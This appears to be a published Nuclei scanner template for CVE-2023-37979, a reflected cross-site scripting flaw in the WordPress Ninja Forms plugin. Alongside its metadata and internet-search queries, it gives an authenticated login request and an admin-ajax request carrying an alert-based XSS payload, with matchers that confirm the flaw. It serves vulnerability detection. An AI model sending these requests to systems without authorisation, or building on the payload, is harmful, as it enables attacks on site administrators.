Ninja Forms < 3.6.26 - Cross-Site Scripting

ID: CVE-2023-37979

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

YAML Source

id: CVE-2023-37979

info:
  name: Ninja Forms < 3.6.26 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  remediation: Fixed in version 3.6.26
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37979
    - https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348
    - https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
    - http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
    - https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37979
    cwe-id: CWE-79
    epss-score: 0.00085
    epss-percentile: 0.3599
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a00473045022067ae400cc7628df16ac7ebeb7e23d01640becfd03c2d4a4c89337f6a15af28a70221008e30782dc91f412830fd7f64733ba01cd1b985ab5145990b29920765e4a17ab9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-37979.yaml"

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